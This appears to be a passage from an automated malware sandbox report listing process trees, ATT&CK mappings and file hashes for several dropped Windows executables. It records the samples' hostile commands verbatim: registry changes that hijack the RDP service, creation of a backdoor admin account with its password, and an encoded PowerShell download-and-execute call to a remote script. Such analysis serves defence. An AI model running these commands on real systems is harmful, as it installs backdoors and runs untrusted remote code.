PID 3460 wrote to memory of 3604	3460	csc.exe	cvtres.exe
PID 3460 wrote to memory of 3604	3460	csc.exe	cvtres.exe
PID 3460 wrote to memory of 3604	3460	csc.exe	cvtres.exe
PID 1840 wrote to memory of 3576	1840	powershell.exe	powershell.exe
PID 1840 wrote to memory of 3576	1840	powershell.exe	powershell.exe
PID 816 wrote to memory of 3268	816	powershell.exe	powershell.exe
PID 816 wrote to memory of 3268	816	powershell.exe	powershell.exe
PID 816 wrote to memory of 3268	816	powershell.exe	powershell.exe
PID 1840 wrote to memory of 2568	1840	powershell.exe	powershell.exe
PID 1840 wrote to memory of 2568	1840	powershell.exe	powershell.exe
PID 816 wrote to memory of 3548	816	powershell.exe	powershell.exe
PID 816 wrote to memory of 3548	816	powershell.exe	powershell.exe
PID 816 wrote to memory of 3548	816	powershell.exe	powershell.exe
PID 1840 wrote to memory of 960	1840	powershell.exe	reg.exe
PID 1840 wrote to memory of 960	1840	powershell.exe	reg.exe
PID 1840 wrote to memory of 3408	1840	powershell.exe	reg.exe
PID 1840 wrote to memory of 3408	1840	powershell.exe	reg.exe
PID 1840 wrote to memory of 3236	1840	powershell.exe	reg.exe
PID 1840 wrote to memory of 3236	1840	powershell.exe	reg.exe
PID 1840 wrote to memory of 2884	1840	powershell.exe	net.exe
PID 1840 wrote to memory of 2884	1840	powershell.exe	net.exe
PID 2884 wrote to memory of 1912	2884	net.exe	net1.exe

C:\Users\Admin\AppData\Local\Temp\6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe
"C:\Users\Admin\AppData\Local\Temp\6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:504
- C:\Users\Admin\AppData\Local\Temp\6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe
  "C:\Users\Admin\AppData\Local\Temp\6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:2708

C:\Users\Admin\AppData\Local\Temp\C5E6.exe
C:\Users\Admin\AppData\Local\Temp\C5E6.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1840
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4ypmd11p\4ypmd11p.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1940
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF245.tmp" "c:\Users\Admin\AppData\Local\Temp\4ypmd11p\CSC8FA6497565B24962A0C859D862A90E.TMP"
      4⤵
      PID:2580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1616
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    PID:2568
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:960
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:3408
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:3236
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2884
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1912
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    PID:3180
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      PID:1476
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:3584
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:2432
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:4068
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:2124
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:4024
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:3556
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2060
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:2884

C:\Users\Admin\AppData\Local\Temp\CC4F.exe
C:\Users\Admin\AppData\Local\Temp\CC4F.exe
1⤵
- Executes dropped EXE
PID:1852
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1852 -s 980
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - Program crash
  PID:2888

C:\Users\Admin\AppData\Local\Temp\D2B9.exe
C:\Users\Admin\AppData\Local\Temp\D2B9.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2820

C:\Users\Admin\AppData\Local\Temp\DE05.exe
C:\Users\Admin\AppData\Local\Temp\DE05.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3168
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:816
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ffsqzohs\ffsqzohs.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3460
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES16F4.tmp" "c:\Users\Admin\AppData\Local\Temp\ffsqzohs\CSCE7A0BCCA9C5043FFAC857F79D8DD5F0.TMP"
      4⤵
      PID:3604
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3268
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    PID:3548
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    PID:2044
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:960
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:3988
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:788
- - C:\Windows\SysWOW64\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    PID:1912
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:2876
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    PID:2700
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c net start rdpdr
      4⤵
      PID:2836
    - - C:\Windows\SysWOW64\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1872
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:3872
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1132
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:3880
    - - C:\Windows\SysWOW64\net.exe
        
        net start TermService
        5⤵
        
        PID:2664
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:2580
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:3848
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1844

C:\Users\Admin\AppData\Local\Temp\E44F.exe
C:\Users\Admin\AppData\Local\Temp\E44F.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3196
- C:\Users\Admin\AppData\Local\Temp\E44F.exe
  C:\Users\Admin\AppData\Local\Temp\E44F.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2884

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc Ghasar4f5 /del
1⤵
PID:2664
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc Ghasar4f5 /del
  2⤵
  PID:2544
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc Ghasar4f5 /del
    3⤵
    PID:3560

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 9IT1wUoS /add
1⤵
PID:2168
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 9IT1wUoS /add
  2⤵
  PID:3180
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 9IT1wUoS /add
    3⤵
    PID:3872

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:4060
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:900
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:3176

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
1⤵
PID:1512
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
  2⤵
  PID:3592
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
    3⤵
    PID:2576

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:680
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:4072
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:804

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 9IT1wUoS
1⤵
PID:3180
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 9IT1wUoS
  2⤵
  PID:3584
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 9IT1wUoS
    3⤵
    PID:3560

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2716
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:1980

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2576
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:2976

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1564
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:3756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    PID:2124

C:\Users\Admin\AppData\Roaming\cbtfvtu
C:\Users\Admin\AppData\Roaming\cbtfvtu
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2968
- C:\Users\Admin\AppData\Roaming\cbtfvtu
  C:\Users\Admin\AppData\Roaming\cbtfvtu
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:3808

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\E44F.exe.log

MD5
41fbed686f5700fc29aaccf83e8ba7fd

SHA1
5271bc29538f11e42a3b600c8dc727186e912456

SHA256
df4e9d012687cdabd15e86bf37be15d6c822e1f50dde530a02468f0006586437

SHA512
234b2235c1ced25810a4121c5eabcbf9f269e82c126a1adc363ee34478173f8b462e90eb53f5f11533641663350b90ec1e2360fd805b10c041fab12f4da7a034

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5
9d43e21785cc3169068bf06afc6cf381

SHA1
4fa0be5efd37649253515426920dc13aef285221

SHA256
0d2978f868b8225004adf71ff7861290926c9d38cd02431f17b21b1e145e38f1

SHA512
08d056a8e6bb95e21270e9ac42d851124ffa5fbe6b3917558551e7726645bc8ebe288f999df33c4620d11a817e9d96bef597b47d4bee151727b0e308c17cb75b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5
9d43e21785cc3169068bf06afc6cf381

SHA1
4fa0be5efd37649253515426920dc13aef285221

SHA256
0d2978f868b8225004adf71ff7861290926c9d38cd02431f17b21b1e145e38f1

SHA512
08d056a8e6bb95e21270e9ac42d851124ffa5fbe6b3917558551e7726645bc8ebe288f999df33c4620d11a817e9d96bef597b47d4bee151727b0e308c17cb75b

Download Submit
C:\Users\Admin\AppData\Local\Temp\4ypmd11p\4ypmd11p.dll

MD5
0244d954f3829b479182a99a6e93533b

SHA1
bacb96c6488cc0f38df93f2ea24ac58ae530b700

SHA256
b5581f1dacddae04c90caa72d9a2efe33535f8cdcd1547069b644d249b6dc587

SHA512
cb83fa558c696404fe95e39bea664f455975120d50385d33b0a7182c84a6febf946fef77d85194fc0cd2fd104fd404b96344db882a5a8449aea9d023e2667a65

Download Submit
C:\Users\Admin\AppData\Local\Temp\C5E6.exe

MD5
fc239dd2dc52a4853c7be50c86367f7b

SHA1
f6c01c5da3f62a97f6d4427b626d366ad898d3b3

SHA256
e04abdb57ce06940bdbac3b5c6a99a7e52e6c315dd97e3da045d570871e7900b

SHA512
4acd84c438e018bdf223561c54b19a6e05b792a5a5bc73d40e5ae4500f3cb9f3ac8e53484b539d49375e4d14341ea1bc45f00223933a4b5f7b251110be3a0458

Download Submit
C:\Users\Admin\AppData\Local\Temp\C5E6.exe

MD5
fc239dd2dc52a4853c7be50c86367f7b

SHA1
f6c01c5da3f62a97f6d4427b626d366ad898d3b3

SHA256
e04abdb57ce06940bdbac3b5c6a99a7e52e6c315dd97e3da045d570871e7900b

SHA512
4acd84c438e018bdf223561c54b19a6e05b792a5a5bc73d40e5ae4500f3cb9f3ac8e53484b539d49375e4d14341ea1bc45f00223933a4b5f7b251110be3a0458

Download Submit
C:\Users\Admin\AppData\Local\Temp\CC4F.exe

MD5
a19a2df690373a754da550eaa42a341e

SHA1
75ff4f812afbc30865aae903f5c9f1d43a94241f

SHA256
f2c3dc556b78c0d91c0ca97d844901cc67cb3f5bc4ee544ba21a2c3c44a59b7b

SHA512
e0bf200383d416144cdb8e9980fa80c246f060a37550a6f1cad22ce3e2d29ec9eef39baa61555ab82f884d8e6912d23f705233760e335940936a5e21dabef70d

Download Submit
C:\Users\Admin\AppData\Local\Temp\CC4F.exe

MD5
a19a2df690373a754da550eaa42a341e

SHA1
75ff4f812afbc30865aae903f5c9f1d43a94241f

SHA256
f2c3dc556b78c0d91c0ca97d844901cc67cb3f5bc4ee544ba21a2c3c44a59b7b

SHA512
e0bf200383d416144cdb8e9980fa80c246f060a37550a6f1cad22ce3e2d29ec9eef39baa61555ab82f884d8e6912d23f705233760e335940936a5e21dabef70d

Download Submit
C:\Users\Admin\AppData\Local\Temp\D2B9.exe

MD5
f5c4d463115dc020d5ec1756da0258a0

SHA1
b66eb6992d7c0191d1255ae0ada35b6403221425

SHA256
fa0bcd10cdc9df5fe9806e16a933d71d49c93fb6b21e75e2215bb728212b570e

SHA512
854bbe52abf339b75e68c20aef0b905fb29c4c2580a44b957b6d6b02889b78a44f6605a2e45f61f358b7b63d3530b61f6bad513f0672bcef06268d9ea1c55350

Download Submit
C:\Users\Admin\AppData\Local\Temp\D2B9.exe

MD5
f5c4d463115dc020d5ec1756da0258a0

SHA1
b66eb6992d7c0191d1255ae0ada35b6403221425

SHA256
fa0bcd10cdc9df5fe9806e16a933d71d49c93fb6b21e75e2215bb728212b570e

SHA512
854bbe52abf339b75e68c20aef0b905fb29c4c2580a44b957b6d6b02889b78a44f6605a2e45f61f358b7b63d3530b61f6bad513f0672bcef06268d9ea1c55350

Download Submit
C:\Users\Admin\AppData\Local\Temp\DE05.exe

MD5
2686d02fd6a82432c2bbfccdf7f334de

SHA1
75c80a6877c6e0724d19de0f5149bed186760e27

SHA256
35270b20b568beb5f844e1b8c9bfe53498cfbac02633a9cb3ca5927a2cba4e4d

SHA512
22333918e2fed9e39c967313f77844b6bc4f3a2dbfe97223c08def7b80057b7c89f5b75460575172e99c11ee2b824c66e4417588a12ae6a314968c2a34d01698

Download Submit
C:\Users\Admin\AppData\Local\Temp\DE05.exe

MD5
2686d02fd6a82432c2bbfccdf7f334de

SHA1
75c80a6877c6e0724d19de0f5149bed186760e27

SHA256
35270b20b568beb5f844e1b8c9bfe53498cfbac02633a9cb3ca5927a2cba4e4d

SHA512
22333918e2fed9e39c967313f77844b6bc4f3a2dbfe97223c08def7b80057b7c89f5b75460575172e99c11ee2b824c66e4417588a12ae6a314968c2a34d01698

Download Submit
C:\Users\Admin\AppData\Local\Temp\E44F.exe

MD5
3de1b117e92c82530bb90a01b5d5d51e

SHA1
8aec1842e379c1c6d9be27e5f144f037fed18432

SHA256
789f7812529efd3dbc528dedb06fa088e4243e6ffb7acc9eaaa54416130e0996

SHA512
ae015b693734f245df616bcbd51ad73047c6ee87235e82414ef461b13271361272fa3d70a63fef5d1f18311169b60f6a297aa91c740f03d90075862dd074f047

Download Submit
C:\Users\Admin\AppData\Local\Temp\E44F.exe

MD5
3de1b117e92c82530bb90a01b5d5d51e

SHA1
8aec1842e379c1c6d9be27e5f144f037fed18432

SHA256
789f7812529efd3dbc528dedb06fa088e4243e6ffb7acc9eaaa54416130e0996

SHA512
ae015b693734f245df616bcbd51ad73047c6ee87235e82414ef461b13271361272fa3d70a63fef5d1f18311169b60f6a297aa91c740f03d90075862dd074f047

Download Submit
C:\Users\Admin\AppData\Local\Temp\E44F.exe

MD5
3de1b117e92c82530bb90a01b5d5d51e

SHA1
8aec1842e379c1c6d9be27e5f144f037fed18432

SHA256
789f7812529efd3dbc528dedb06fa088e4243e6ffb7acc9eaaa54416130e0996

SHA512
ae015b693734f245df616bcbd51ad73047c6ee87235e82414ef461b13271361272fa3d70a63fef5d1f18311169b60f6a297aa91c740f03d90075862dd074f047

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES16F4.tmp

MD5
4f677b17b0ad5ad0ecf3a0384547c222

SHA1
28792045fa83788025a434165a5c914d201646f7

SHA256
a9c9969f5af1ef27807cb03ae75591b4ff135591439bccd8f28a07605aa5f185

SHA512
80bb30ef8344b54a783560d1f9814648c2b12668fcd5bcef098d9de26c9ac7914f98cd507c12dbaa5f610b5389e73683ba4cd0a368cc44b0a07f2a62d585a548

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESF245.tmp

MD5
467916e4a607efa20970ab048400f135

SHA1
d03c17c3f02d589ca705c1f66c4c2cbc038dec3c

SHA256
fb7cdacdc98b3f33b31ca3dcb314fd638aab9b8a22cc905f9648aa7319c71165

SHA512
1e6d28969eaf71d3c2bee32339b195f76705f881edd5c360a05f04076bdc3a2576c90dcbc571c98e52bf9a1b750c483fe7ca6e7e26e85473cf8094f90949928b

Download Submit
C:\Users\Admin\AppData\Local\Temp\ffsqzohs\ffsqzohs.dll

MD5
f9f50e49ecd364e51183894140ff49d8

SHA1
4125c416238588702dca4e319ab7f4445e4cf02d

SHA256
7c14e68c78911227a54488f6dd0cd30487b9b5e1e5ca22d6a6da3469b4b5016b

SHA512
414ea7b62f7e1042185979ccc5b3a1a648a06f369efc294beaca4a568aff6466ee1c52a4b58dbd71a409813cb72370b3e6e3fc16e20541c07f1507b902aedc2c

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

MD5
5db5ffa607b5b5ca17bfd6fb78403660

SHA1
1e793958cb1dd1dc99da4a50beaa2945561b7a16

SHA256
1fa24f444e6b18ab2072201a5d9de4df325830990f073194addb5327137c2e89

SHA512
3d2eab2b02c1d7302b563e3cc232791e242c8d2686a0a4cb58115cdd4ca19f48e390791404f62fef2c0fdbe3e5185b260de6a8fd5ccef2e091d473e0186ffe43

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

MD5
794bf0ae26a7efb0c516cf4a7692c501

SHA1
c8f81d0ddd4d360dcbe0814a04a86748f99c6ff2

SHA256
97753653d52aaa961e4d1364b5b43551c76da9bb19e12f741bd67c986259e825

SHA512
20c97972a1256375157f82a859ce4936613fe109d54c63bbec25734edc3a567ca976b342a21ef5f25571b3c1959afe618ad9f9f17a817cfd731d1504541b1a75

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

Download Submit
C:\Users\Admin\AppData\Roaming\cbtfvtu

MD5
75c57c36ea55cae6e61d3de271003217

SHA1
999f8eeefdbefa74f9cf14e7447ddace4b04e293

SHA256
6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf

SHA512
cdf331578a6016371e7b2fd3b2cb96abbd0537a6288c326e41acd8b3308a706ba1a2f78bee6067ed0094f789493e8ac9f783979151f6d49880e185af8f6f7e89

Download Submit
C:\Users\Admin\AppData\Roaming\cbtfvtu

MD5
75c57c36ea55cae6e61d3de271003217

SHA1
999f8eeefdbefa74f9cf14e7447ddace4b04e293

SHA256
6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf

SHA512
cdf331578a6016371e7b2fd3b2cb96abbd0537a6288c326e41acd8b3308a706ba1a2f78bee6067ed0094f789493e8ac9f783979151f6d49880e185af8f6f7e89

Download Submit
C:\Users\Admin\AppData\Roaming\cbtfvtu

MD5
75c57c36ea55cae6e61d3de271003217

SHA1
999f8eeefdbefa74f9cf14e7447ddace4b04e293

SHA256
6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf

SHA512
cdf331578a6016371e7b2fd3b2cb96abbd0537a6288c326e41acd8b3308a706ba1a2f78bee6067ed0094f789493e8ac9f783979151f6d49880e185af8f6f7e89

Download Submit
C:\Windows\branding\mediasrv.png

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
C:\Windows\branding\mediasvc.png

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
